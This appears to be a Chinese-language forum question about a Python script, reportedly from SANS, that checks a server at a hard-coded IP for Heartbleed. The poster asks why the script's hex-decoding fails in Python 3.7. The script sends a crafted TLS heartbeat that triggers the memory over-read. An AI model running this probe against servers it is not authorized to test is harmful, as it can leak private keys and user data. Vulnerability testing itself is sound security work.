我一直在网上寻找ssl漏洞,并从Sans网上想出了一个简单的代码:
import socket
sh=socket.socket()
sh.connect(("54.217.122.251",443))
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
helloresponse=sh.recv(8196)
sh.send("1803020003014000".decode('hex'))
data=sh.recv(8196)
此代码仅使用python解码将已解码格式的Hello消息发送到SSL服务器,以查找该服务器是否容易受到Heartbleed漏洞的攻击。但是,当我在python 3.7中运行此代码时,它显示如下错误:
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
AttributeError: 'str' object has no attribute 'decode'
注意:尝试使用另一个IP地址而不是此
中使用的IP地址。